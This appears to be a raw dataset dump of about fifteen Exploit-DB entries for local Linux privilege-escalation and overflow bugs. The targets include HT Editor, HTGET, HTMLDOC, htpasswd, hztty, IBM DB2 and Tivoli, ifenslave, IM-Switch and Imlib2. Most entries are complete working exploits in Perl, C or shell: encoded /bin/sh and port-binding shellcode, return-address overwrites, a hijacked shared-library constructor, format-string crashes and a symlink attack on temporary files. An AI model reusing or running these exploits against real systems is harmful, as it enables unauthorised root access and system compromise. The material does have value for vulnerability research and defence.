deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17083
Description: HT Editor 2.0.18 - File Opening Stack Overflow
Type: local
Platform: linux
Date: 2011-03-30
Author: ZadYree

Exploit:
# Exploit Title: HT Editor File openning Stack Overflow (0day)
# Date: March 30th 2011
# Author: ZadYree
# Software Link: http://hte.sourceforge.net/downloads.html
# Version: <= 2.0.18
# Tested on: Linux/Windows (buffer padding may differ on W32)
# CVE : None
#!/usr/bin/perl
=head1 TITLE

HT Editor <=2.0.18 0day Stack-Based Overflow Exploit


=head1 DESCRIPTION

The vulnerability is triggered by a too large argument (+ path) which simply lets you overwrite eip.


=head2 AUTHOR

ZadYree ~ 3LRVS Team


=head3 SEE ALSO

ZadYree's blog: z4d.tuxfamily.org

3LRVS blog: 3lrvs.tuxfamily.org

Shellcodes based on
http://www.shell-storm.org/shellcode/files/shellcode-606.php
http://www.shell-storm.org/shellcode/files/shellcode-171.php

=> Thanks 
=cut
use 5.010;

my ($esp, $retaddr);
my $scz = 	[	"\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e" .
				"\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8" .
				"\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67" .
				"\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30" .
				"\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4" .
				"\x53\x52\x54\x8a\xe2\xce\x81",
				"\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b" .
				"\x08\x89\x43\x0c\x50\x8d\x53\x08\x52\x53" .
				"\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff" .
				"/bin/sh"	];

say'[*]Looking for $esp and endwin()...';

my $namez = [qw#/usr/bin/hte /usr/local/bin/ht#];

my $infos = get_infos(qx{uname});

my $name = $infos->[0];


say '[+]endwin() address found! (0x', $infos->[3],')';

for my $line(qx{objdump -D $name | grep "ff e4"}) {
	$esp = "0" . $1, last if ($line =~ m{([a-f0-9]{7}).+jmp\s{4}\*%esp});
}

say '[+]$esp place found! (0x', $esp, ")\012Now exploiting...";

my @payload = ($infos->[0], ("A" x ($infos->[1] - length(qx{pwd}))) . reverse(pack('H*', $infos->[3])) . reverse(pack('H*', $esp)) . $infos->[2]);
exec(@payload);


sub get_infos {
	given(shift) {
		when(/Linux/) {
			return([$namez->[0], 4108, $scz->[0], getendwin("linux")]);
		}
		when(/FreeBSD/) {
			return([$namez->[1], 271, $scz->[1], getendwin("freebsd")]);
		}
		#Possibility to add friends ^^
	}
}

sub getendwin {
	given(shift) {
		when("linux") {
			my $n = $namez->[0];
			for (qx{objdump -d $n | grep endwin}) {
				$retaddr = $1, last if ($_ =~ m{(.*) <});
			}
			return($retaddr);
		}
		when("freebsd") {
			return("282c2990");
		}
	}
}
Exploit-DB #741
Description: HTGET 0.9.x - Local Privilege Escalation
Type: local
Platform: linux
Date: 2005-01-05
Author: nekd0

Exploit:
#!/usr/bin/perl
#^^^^^^^^^^^^^^^^\....,,,,|:::::::____******
#HTGET <= 0.9.x local lame r00t exploit	    *	
#written by nekd0 of Unl0ck Research Team    *
#(c) .unl0ck research team 2004-2005. 	     *
#	http://unl0ck.void.ru		    *	
#................/^^^^''''|:::::::----******

$shellcode = 
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31".
"\xc0\x88\x43\x07\x89\x5b\x08\x89".
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0".
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff".
"/bin/sh";

$len = 288;
$ret = 0xbfffd62a; #red hat 9.0 
$nop = "\x90";
$offset = 0 ;
$vulnprog="/usr/bin/htget";

if (@ARGV == 1) {
    $offset = $ARGV[0];}

if (!-u($vulnprog)){print "$vulnprog is not suid... exiting\n";exit();}

for ($i=0; $i<($len-length($shellcode)-100);$i++)
	{$buffer .= $nop;}

$buffer .= $shellcode;

print ("Address: 0x",sprintf('%lx',($ret+$offset)),"\n");

$new_ret = pack('l',($ret + $offset));

for ($i+=length($shellcode); $i<$len; $i+=4)
	{$buffer .=$new_ret}

exec("$vulnprog $buffer");

# milw0rm.com [2005-01-05]
Exploit-DB #9595
Description: HTMLDOC 1.8.27 - '.html' File Handling Stack Buffer Overflow
Type: local
Platform: linux
Date: 2009-09-09
Author: Pankaj Kohli

Exploit:
/*

HTMLDOC 'html' File Handling Remote Stack Buffer Overflow Exploit (Linux)
Reference: https://www.securityfocus.com/bid/35727

Tested on HTMLDOC 1.8.27 on Debian 5.0 (+ASLR)
Credit: ANTHRAX666 for finding the vulnerability

Coded by Pankaj Kohli
http://www.pank4j.com

pankaj@zion:~/test/htmldoc$ cat /proc/sys/kernel/randomize_va_space
2
pankaj@zion:~/test/htmldoc$ gcc htmldocb0f.c -o htmldocb0f
pankaj@zion:~/test/htmldoc$ ./htmldocb0f

[*] Creating buffer
[*] Exploit file written to sploit.html
Run as: htmldoc -f somefile.pdf sploit.html

pankaj@zion:~/test/htmldoc$ netstat -an --inet | grep 4444
pankaj@zion:~/test/htmldoc$ ./htmldoc-1.8.27/htmldoc/htmldoc -f abc.pdf sploit.html &
[1] 3287
pankaj@zion:~/test/htmldoc$ netstat -an --inet | grep 4444
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN

*/

#include <stdio.h>
#include <string.h>


/* Port binding (xor encoded) shellcode (port 4444) */
char code[] =
"\xeb\x12\x5b\x31\xc9\xb1\x75\x8a\x03\x34"
"\x1e\x88\x03\x43\x66\x49\x75\xf5\xeb\x05"
"\xe8\xe9\xff\xff\xff\x74\x78\x46\x74\x1f"
"\x45\x2f\xd7\x4f\x74\x1f\x74\x1c\x97\xff"
"\xd3\x9e\x97\xd8\x2f\xcc\x4c\x78\x76\x0f"
"\x42\x78\x76\x1c\x1e\x97\xff\x74\x0e\x4f"
"\x4e\x97\xff\xad\x1c\x74\x78\x46\xd3\x9e"
"\xae\x78\xad\x1a\xd3\x9e\x4c\x48\x97\xff"
"\x5d\x74\x78\x46\xd3\x9e\x97\xdd\x74\x1c"
"\x47\x74\x21\x46\xd3\x9e\xfc\xe7\x74\x21"
"\x46\xd3\x9e\x2f\xcc\x4c\x76\x70\x31\x6d"
"\x76\x76\x31\x31\x7c\x77\x97\xfd\x4c\x78"
"\x76\x33\x77\x97\xff\x4c\x4f\x4d\x97\xff"
"\x74\x15\x46\xd3\x9e\x74\x1f\x46\x2f\xc5"
"\xd3\x9e";

long jmp = 0x0804d938;  // push esp; ret 0x0807;  ;-) 

int main(int argc, char **argv, char **envp) {
	char buff[512];
	int i;
	FILE *fd;

	printf("\n[*] Creating buffer\n");
        strcpy(buff, "<!-- MEDIA SIZE 1x1");
        for(i=0; i<275; i++) {
                buff[19+i] = 'A';
        }

	buff[294] = jmp & 0x000000ff;
	buff[295] = (jmp & 0x0000ff00) >> 8;
	buff[296] = (jmp & 0x00ff0000) >> 16;
	buff[297] = (jmp & 0xff000000) >> 24;
	buff[298] = 0;

	strcat(buff, code);

	fd = fopen("sploit.html", "wb");
	fprintf(fd, "%s", buff);
	fclose(fd);
	printf("[*] Exploit file written to sploit.html\n");
	printf("Run as: htmldoc -f somefile.pdf sploit.html\n\n");

	return 0;
}

// milw0rm.com [2009-09-09]
Exploit-DB #466
Description: htpasswd Apache 1.3.31 - Local Overflow
Type: local
Platform: linux
Date: 2004-09-16
Author: Luiz Fernando Camargo

Exploit:
#!/usr/bin/perl 
# Proof Of Concept exploit for htpasswd of Apache. 
# Read the advisory for more information. 
# - Luiz Fernando Camargo 
# - foxtrot_at_flowsecurity.org 
$shellcode = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68". 
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; 


$target = "/usr/local/apache/bin/htpasswd"; 
$retaddr = 0xbffffffa - length($shellcode) - length($target); 


print "using retaddr = 0x", sprintf('%lx',($retaddr)), "\r\n"; 


local($ENV{'XXX'}) = $shellcode; 
$newret = pack('l', $retaddr); 
$buffer = "A" x 272; 
$buffer .= $newret x 4; 
$buffer .= " "; 
$buffer .= "B" x 290; 


exec("$target -nb $buffer"); 

# milw0rm.com [2004-09-16]
Exploit-DB #104
Description: hztty 2.0 (RedHat 9.0) - Local Privilege Escalation
Type: local
Platform: linux
Date: 2003-09-21
Author: c0wboy

Exploit:
/*  0x333hztty => hztty 2.0 local root exploit
 *
 *
 *	more info : Debian Security Advisory DSA 385-1
 *
 *	*note* I adjusted some part of hztty's code since
 *	there were some errors. hope this will not influence
 *	exploitation :> tested against Red Hat 9.0 :
 *
 * [c0wboy@0x333 c0wboy]$ gcc 0x333hztty.c -o k
 * [c0wboy@0x333 c0wboy]$ ./k
 *
 *  ---  local root exploit for hztty 2.0  ---
 *  ---  coded by c0wboy ~ 0x33  ---
 * 
 * sh-2.05b# [./hztty started]  [using /dev/ttyp6]
 * sh-2.05b$ sh-2.05b# uid=0(root) gid=0(root) groups=500(c0wboy)
 * sh-2.05b#
 *
 *  coded by c0wboy 
 *
 *  (c) 0x333 Outsiders Security Labs
 *
 */

#include <stdio.h>
#include <unistd.h>

#define BIN    "./hztty"
#define SIZE   272


unsigned char shellcode[] =
	"\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8"
	"\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
	"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
	"\xd2\xb0\x0b\xcd\x80" ;

int main()
{
	int i;
	char out[SIZE];
	char *own[] = { shellcode, 0x0 };

	int *hztty = (int *)(out);
	int ret = 0xbffffffa - strlen(BIN) - strlen(shellcode);

	for (i=0 ; i<SIZE-1 ; i+=4)
		*hztty++ = ret;

	hztty = 0x0;

	fprintf (stdout, "\n ---  local root exploit for hztty 2.0  ---\n");
	fprintf (stdout, " ---  coded by c0wboy ~ www.0x333.org   ---\n\n");

	execle (BIN, BIN, "-I", out, 0x0, own, 0x0);
}


// milw0rm.com [2003-09-21]
Exploit-DB #23346
Description: IBM DB2 - 'db2govd' Format String Arbitrary Code Execution
Type: local
Platform: linux
Date: 2003-11-07
Author: SNOSoft

Exploit:
source: https://www.securityfocus.com/bid/8989/info
  
Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.

[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %x
GOV1023N Unable to open configuration file "bfffed88". RC = "[PII_REDACTED]".
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop a %x
db2govd: GOV1005N No governor for database "A" on node "bfffe188" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop a %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop %x b
db2govd: GOV1005N No governor for database "BFFFD788" on node "b" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop %n%n%n b
Segmentation fault
Exploit-DB #23344
Description: IBM DB2 - 'db2start' Format String Arbitrary Code Execution
Type: local
Platform: linux
Date: 2003-11-07
Author: SNOSoft

Exploit:
source: https://www.securityfocus.com/bid/8989/info

Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.

[kf@RiotStarter adm]$ ./db2start %x
SQL2032N The "bffff270" parameter is not valid.
[kf@RiotStarter adm]$ ./db2start %n%n
Segmentation fault
[kf@RiotStarter adm]$ ./db2stop %x
SQL2032N The "bffff6f0" parameter is not valid.
Exploit-DB #23345
Description: IBM DB2 - 'db2stop' Format String Arbitrary Code Execution
Type: local
Platform: linux
Date: 2003-11-07
Author: SNOSoft

Exploit:
source: https://www.securityfocus.com/bid/8989/info
 
Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.

[kf@RiotStarter adm]$ ./db2stop %n%n
Segmentation fault
Exploit-DB #106
Description: IBM DB2 - Universal Database 7.2 'db2licm' Local Overflow
Type: local
Platform: linux
Date: 2003-09-27
Author: Juan Escriba

Exploit:
/* 
	Local Exploit for db2licm 
	IBM db2 v 7.1 Linux/x86 

	vulnerability researched by 
	Juan Manuel Pascual Escriba
	pask at uninet.edu


 */



char sc[]=
"\x31\xc0"      /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"

"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";


#define STACK_TOP_X86 0xC0000000
#define ALG_MASK 0xfffffff4
#define ADDR 1000
#define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"

#define DFL_ALG 4       

int main(int arc, char **arv){
        char *argv[3];
        char *envp[2];
        unsigned long sc_address, ba=0;
        unsigned char alg = DFL_ALG;
        unsigned long *p;
        unsigned char *q;
        unsigned int i;



        sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;
        printf("shellcode address = 0x%X\n",sc_address);


        if( (sc_address & ALG_MASK) != sc_address ) {
                ba = sc_address - (sc_address & ALG_MASK);
                printf("adding %d trailing bytes to backward align Shellcode to 0x%X\n", ba,
sc_address & ALG_MASK);
                sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - ba - 1;
                printf("new shellcode address = 0x%X\n",sc_address);
        }

        envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
        q = envp[0];
        strcpy(q,"pete=");
        q += strlen("pete=");
        memcpy(q,sc,sizeof(sc));
        q += sizeof(sc)-1;
        memset(q,'A',ba);
        q += ba;
        *q = 0;
        envp[1] = 0;

        /* build overflowing arvg[2] */


        printf("using alignment = %d in overflow buffer\n",alg);

        argv[0] = DB2LICM;
	argv[1] = "-a";
        argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);
        memset(argv[2],'A',alg);
        p=(unsigned long*)(argv[2]+alg);
        for(i=0;i<ADDR;i++) {
                *p = sc_address;
                p++;
        };
        *p = 0;
        argv[3] = 0; 

        printf("executing %s ...\n\n",argv[0]);
        execve(argv[0],argv,envp); 


}

// milw0rm.com [2003-09-27]
Exploit-DB #35112
Description: IBM Tivoli Monitoring 6.2.2 kbbacf1 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2014-10-29
Author: Robert Jaroszuk

Exploit:
#!/bin/sh
# Title: IBM Tivoli Monitoring V6.2.2 kbbacf1 privilege escalation exploit
# CVE: CVE-2013-5467
# Vendor Homepage: http://www-03.ibm.com/software/products/pl/tivomoni
# Author: Robert Jaroszuk
# Tested on: RedHat 5, Centos 5
# Vulnerable version: IBM Tivoli Monitoring V6.2.2 (other versions not tested)
#
echo "[+] Tivoli pwner kbbacf1 privilege escalation exploit by Robert Jaroszuk"
echo "[+] Preparing the code..."
cat > kbbacf1-pwn.c << DONE
#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h>

void __cxa_finalize (void *d) {
    return;
}

void __attribute__((constructor)) init() {
    setresuid(geteuid(), geteuid(), geteuid());
    execl("/bin/sh", (char *)NULL, (char *)NULL);
}
DONE

cat > version << DONE
GLIBC_2.2.5 { };
GLIBC_2.3 { };
GLIBC_2.3.2 { };
GLIBC_PRIVATE { };
DONE
echo "[+] Preparing the code... part2"
/usr/bin/gcc -Wall -fPIC -shared -static-libgcc -Wl,--version-script=version -o libcrypt.so.1 kbbacf1-pwn.c

echo "[+] Cleaning up..."
/bin/rm -f kbbacf1-pwn.c version

echo "[+] Exploiting."
/opt/IBM/ITM/tmaitm6/lx8266/bin/kbbacf1
Exploit-DB #22643
Description: Ifenslave 0.0.7 - Argument Local Buffer Overflow (1)
Type: local
Platform: linux
Date: 2003-05-26
Author: jlanthea

Exploit:
source: https://www.securityfocus.com/bid/7682/info

ifenslave for Linux has been reported prone to a buffer overflow vulnerability.

The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space.

It is possible for a local attacker to seize control of the vulnerable application and have malicious arbitrary code executed in the context of ifenslave. ifenslave is not installed setUID or setGID by default.

It should be noted that although this vulnerability has been reported to affect ifenslave version 0.07 previous versions might also be affected. 

#!/usr/bin/perl
#
# expl-ifenslave.pl : Local buffer overflow exploit for
#                     ifsenslave v0.07
#
# Exploit tested on RedHat 8
#
# Author :
#    jlanthea [contact@jlanthea.net]
#
# Syntax :
#    perl expl-ifenslave.pl  # works for me with offset = -17

$shellcode =
        "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0".
        "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd".
        "\x80\xe8\xde\xff\xff\xff/bin/sh";

$offset = "0";

if(@ARGV == 1) { $offset = $ARGV[0]; }
$nop     = "\x90";
$esp     = 0xbffff480;

for ($i = 0; $i < (48 - (length($shellcode)) - 4); $i++) {
    $buffer .= "$nop";
    }

$buffer .= $shellcode;
$buffer .= pack('l', ($esp + $offset));

print("Ifenslave local exploit by jlanthea - 2003\n");
print("The new return address: 0x", sprintf('%lx',($esp + $offset)),
"\n");
exec("/sbin/ifenslave '$buffer'");
Exploit-DB #22644
Description: Ifenslave 0.0.7 - Argument Local Buffer Overflow (2)
Type: local
Platform: linux
Date: 2003-05-26
Author: jsk

Exploit:
// source: https://www.securityfocus.com/bid/7682/info
 
ifenslave for Linux has been reported prone to a buffer overflow vulnerability.
 
The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space.
 
It is possible for a local attacker to seize control of the vulnerable application and have malicious arbitrary code executed in the context of ifenslave. ifenslave is not installed setUID or setGID by default.
 
It should be noted that although this vulnerability has been reported to affect ifenslave version 0.07 previous versions might also be affected. 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFSIZE 40

char shellcode[] =
    "\x31\xdb"
    "\x89\xd8"
    "\xb0\x17"
    "\xcd\x80"
    "\x31\xdb"
    "\x89\xd8"
    "\xb0\x17"
    "\xcd\x80"
    "\x31\xdb"
    "\x89\xd8"
    "\xb0\x2e"
    "\xcd\x80"
    "\x31\xc0"
    "\x50"
    "\x68\x2f\x2f\x73\x68"
    "\x68\x2f\x62\x69\x6e"
    "\x89\xe3"
    "\x50"
    "\x53"
    "\x89\xe1"
    "\x31\xd2"
    "\xb0\x0b"
    "\xcd\x80"
     "\x31\xdb"
    "\x89\xd8"
    "\xb0\x01"
    "\xcd\x80";

int main(void)
{
 char buf[BUFSIZE+10];
 char *prog[] = {"/sbin/ifenslave", buf, NULL};
 char *env[] = {"HOME=BLA", shellcode, NULL};

 printf("****************************************\n\n");
 printf("hi,guys\n\n");
 printf("Coded by jsk(&#38463;&#22372;&#65289;from ph4nt0m.net\n");
 printf("Welcome to http://www.ph4nt0m.net\n\n");
 printf("****************************************\n\n\n");

 unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -
 strlen(shellcode) - 0x02;
 memset(buf,0x41,sizeof(buf));
 memcpy(buf+BUFSIZE+4,(char *)&ret,4);
 buf[BUFSIZE+8] = 0x00;
 execve(prog[0],prog,env);
 return 0;
}
Exploit-DB #24278
Description: IM-Switch - Insecure Temporary File Handling Symbolic Link
Type: local
Platform: linux
Date: 2004-07-13
Author: SEKINE Tatsuo

Exploit:
source: https://www.securityfocus.com/bid/10717/info

IM-Switch Insecure Temporary File Handling Symbolic Link VulnerabilityIt is reported that im-switch is prone to a local insecure temporary file handling symbolic link vulnerability. This issue is due to a design error that allows the application to insecurely write to a temporary file that is created with a predictable file name.

The im-switch utility will write to this temporary file before verifying its existence; this would facilitate a symbolic link attack.

An attacker may exploit this issue to corrupt arbitrary files. This corruption may potentially result in the elevation of privileges, or in a system wide denial of service. 

$ bash -c 'i=1;while [ $i -lt 65536 ]; do ln -s /etc/IMPORTANT_FILE
/tmp/imswitcher$i; let "i++"; done'
Exploit-DB #21226
Description: IMLib2 - Home Environment Variable Buffer Overflow
Type: local
Platform: linux
Date: 2002-01-13
Author: Charles Stevenson

Exploit:
// source: https://www.securityfocus.com/bid/3868/info

Imlib2 is a freely available, open source graphics library available for the Linux and Unix operating systems. It is maintained by Michael Jennings.

Imlib2 is installed on many operating systems and linked with graphical programs such as Eterm. Some programs linked with the library are setuid, such as Eterm which is a setuid utmp program. In some cases, a buffer overflow in the $HOME environment variable may occurs, such as when the $HOME environment variable is filled with 4128 bytes and Eterm is executed. This can allow a local user to overwrite stack variables up through the return address, and execute arbitrary code. As the Eterm program is setgid utmp, this code would be executed with utmp privileges. 

/* execve.c
 *
 * PowerPC Linux Shellcode
 *
 * by Charles Stevenson <core@bokeoa.com>
 *
 * original execve by my good friend
 * Kevin Finisterre  <dotslash@snosoft.com>
 */

#include <stdio.h>

char shellcode[] =
/* setgid(43) utmp */
        "\x38\x60\x01\x37"              /* 100004a0: li
r3,311             */
        "\x38\x63\xfe\xf4"              /* 100004a4: addi
r3,r3,-268         */
        "\x3b\xc0\x01\x70"              /* 100004a8: li
r30,368            */
        "\x7f\xc0\x1e\x70"              /* 100004ac: srawi
r0,r30,3           */
        "\x44\xff\xff\x02"              /* 100004b0:
sc                         */
/* execve("/bin/sh") */
        "\x7c\xa5\x2a\x78"              /* 100004b0: xor
r5,r5,r5        */
        "\x40\x82\xff\xed"              /* 100004b4: bnel+      100004a0
<main> */
        "\x7f\xe8\x02\xa6"              /* 100004b8: mflr
r31             */
        "\x3b\xff\x01\x30"              /* 100004bc: addi
r31,r31,304     */
        "\x38\x7f\xfe\xf4"              /* 100004c0: addi
r3,r31,-268     */
        "\x90\x61\xff\xf8"              /* 100004c4: stw
r3,-8(r1)       */
        "\x90\xa1\xff\xfc"              /* 100004c8: stw
r5,-4(r1)       */
        "\x38\x81\xff\xf8"              /* 100004cc: addi
r4,r1,-8        */
        "\x3b\xc0\x01\x60"              /* 100004d0: li
r30,352         */
        "\x7f\xc0\x2e\x70"              /* 100004d4: srawi
r0,r30,5        */
        "\x44\xff\xff\x02"              /* 100004d8:
sc                         */
        "\x2f\x62\x69\x6e"              /* 100004dc: cmpdi
cr6,r2,26990    */
        "\x2f\x73\x68\x00";             /* 100004e0: cmpdi
cr6,r19,26624   */

int main(int argc, char **argv) {
   fprintf(stderr,"sizeof(shellcode)=%d\n",sizeof(shellcode));
   //__asm__("b shellcode");
   printf("%s",shellcode);
   return 0;
}
Exploit-DB #20843
Description: Immunix OS 6.2/7.0 / RedHat 5.2/6.2/7.0 / SuSE Linux 6.x/7.0/7.1 - 'Man -S' Heap Overflow
Type: local
Platform: linux
Date: 2001-05-13
Author: zenith parsec

Exploit:
source: https://www.securityfocus.com/bid/2711/info

A heap overflow vulnerability exists in the 'man' system manual pager program.

The vulnerability exists due to a length check error when the -S option is given. As a result, it may be possible for a local user to execute arbitrary code with group 'man' privileges. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20843.tar.gz